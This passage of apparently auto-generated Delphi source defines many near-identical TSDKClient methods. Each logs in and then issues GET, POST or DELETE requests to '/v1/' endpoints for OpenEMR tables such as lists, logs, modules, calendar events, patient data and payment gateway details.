Self.GetAPI('/v1/getlang_languages/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getlayout_group_properties(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlayout_group_properties/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlayout_group_properties(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlayout_group_properties/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelayout_group_properties(Agrp_form_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelayout_group_properties/?grp_form_id='+Agrp_form_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlayout_options(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlayout_options/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlayout_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlayout_options/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelayout_options(Aform_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelayout_options/?form_id='+Aform_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlbf_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlbf_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlbf_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlbf_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelbf_data(Aform_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelbf_data/?form_id='+Aform_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlbt_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlbt_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlbt_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlbt_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelbt_data(Aform_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelbt_data/?form_id='+Aform_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlist_options(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlist_options/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlist_options(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlist_options/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelist_options(Alist_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelist_options/?list_id='+Alist_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlists(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlists/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlists(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlists/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelists(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelists/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlists_touch(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlists_touch/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlists_touch(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlists_touch/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelists_touch(Apid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelists_touch/?pid='+Apid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlog(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlog/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlog(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlog/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelog(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelog/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getlog_comment_encrypt(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getlog_comment_encrypt/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postlog_comment_encrypt(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postlog_comment_encrypt/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletelog_comment_encrypt(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletelog_comment_encrypt/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmisc_address_book(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmisc_address_book/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmisc_address_book(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmisc_address_book/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemisc_address_book(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemisc_address_book/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodule_acl_group_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodule_acl_group_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmodule_acl_group_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmodule_acl_group_settings/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemodule_acl_group_settings(Amodule_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemodule_acl_group_settings/?module_id='+Amodule_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodule_acl_sections(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodule_acl_sections/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getmodule_acl_user_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodule_acl_user_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmodule_acl_user_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmodule_acl_user_settings/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemodule_acl_user_settings(Amodule_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemodule_acl_user_settings/?module_id='+Amodule_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodule_configuration(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodule_configuration/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmodule_configuration(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmodule_configuration/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemodule_configuration(Amodule_config_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemodule_configuration/?module_config_id='+Amodule_config_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodules(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodules/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmodules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmodules/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemodules(Amod_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemodules/?mod_id='+Amod_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodules_hooks_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodules_hooks_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postmodules_hooks_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postmodules_hooks_settings/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletemodules_hooks_settings(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletemodules_hooks_settings/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getmodules_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getmodules_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getnotes(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getnotes/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postnotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postnotes/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletenotes(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletenotes/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getnotification_log(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getnotification_log/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postnotification_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postnotification_log/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletenotification_log(AiLogId: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletenotification_log/?iLogId='+AiLogId+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getnotification_settings(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getnotification_settings/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postnotification_settings(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postnotification_settings/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletenotification_settings(ASettingsId: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletenotification_settings/?SettingsId='+ASettingsId+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonotes(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonotes/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonotes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonotes/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonotes(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonotes/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_documents(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_documents/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_documents(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_documents/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_documents(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_documents/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_mail(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_mail/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_mail(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_mail/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_mail(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_mail/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_messages(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_messages/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_messages(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_messages/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_messages(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_messages/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_online(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_online/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_online(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_online/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_online(Ahash: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_online/?hash='+Ahash+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_portal_activity(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_portal_activity/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_portal_activity(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_portal_activity/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_portal_activity(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_portal_activity/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getonsite_signatures(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getonsite_signatures/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postonsite_signatures(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postonsite_signatures/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteonsite_signatures(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteonsite_signatures/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_module_vars(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_module_vars/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_module_vars(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_module_vars/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_module_vars(Apn_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_module_vars/?pn_id='+Apn_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_modules(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_modules/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_modules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_modules/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_modules(Apn_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_modules/?pn_id='+Apn_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_postcalendar_categories(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_postcalendar_categories/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_postcalendar_categories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_postcalendar_categories/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_postcalendar_categories(Apc_catid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_postcalendar_categories/?pc_catid='+Apc_catid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_postcalendar_events(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_postcalendar_events/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_postcalendar_events(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_postcalendar_events/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_postcalendar_events(Apc_eid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_postcalendar_events/?pc_eid='+Apc_eid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_postcalendar_limits(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_postcalendar_limits/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_postcalendar_limits(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_postcalendar_limits/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_postcalendar_limits(Apc_limitid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_postcalendar_limits/?pc_limitid='+Apc_limitid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_postcalendar_topics(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_postcalendar_topics/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_postcalendar_topics(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_postcalendar_topics/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_postcalendar_topics(Apc_catid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_postcalendar_topics/?pc_catid='+Apc_catid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getopenemr_session_info(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getopenemr_session_info/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postopenemr_session_info(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postopenemr_session_info/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteopenemr_session_info(Apn_sessid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteopenemr_session_info/?pn_sessid='+Apn_sessid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_access_offsite(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_access_offsite/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpatient_access_offsite(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpatient_access_offsite/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepatient_access_offsite(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepatient_access_offsite/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_access_onsite(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_access_onsite/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpatient_access_onsite(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpatient_access_onsite/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepatient_access_onsite(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepatient_access_onsite/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getpatient_portal_menu(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_portal_menu/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpatient_portal_menu(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpatient_portal_menu/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepatient_portal_menu(Apatient_portal_menu_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepatient_portal_menu/?patient_portal_menu_id='+Apatient_portal_menu_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_reminders(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_reminders/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpatient_reminders(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpatient_reminders/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepatient_reminders(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepatient_reminders/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_tracker(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_tracker/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpatient_tracker(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpatient_tracker/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepatient_tracker(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletepatient_tracker/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getpatient_tracker_element(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpatient_tracker_element/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.getpayment_gateway_details(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getpayment_gateway_details/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postpayment_gateway_details(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postpayment_gateway_details/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletepayment_gateway_details(Aid: String; 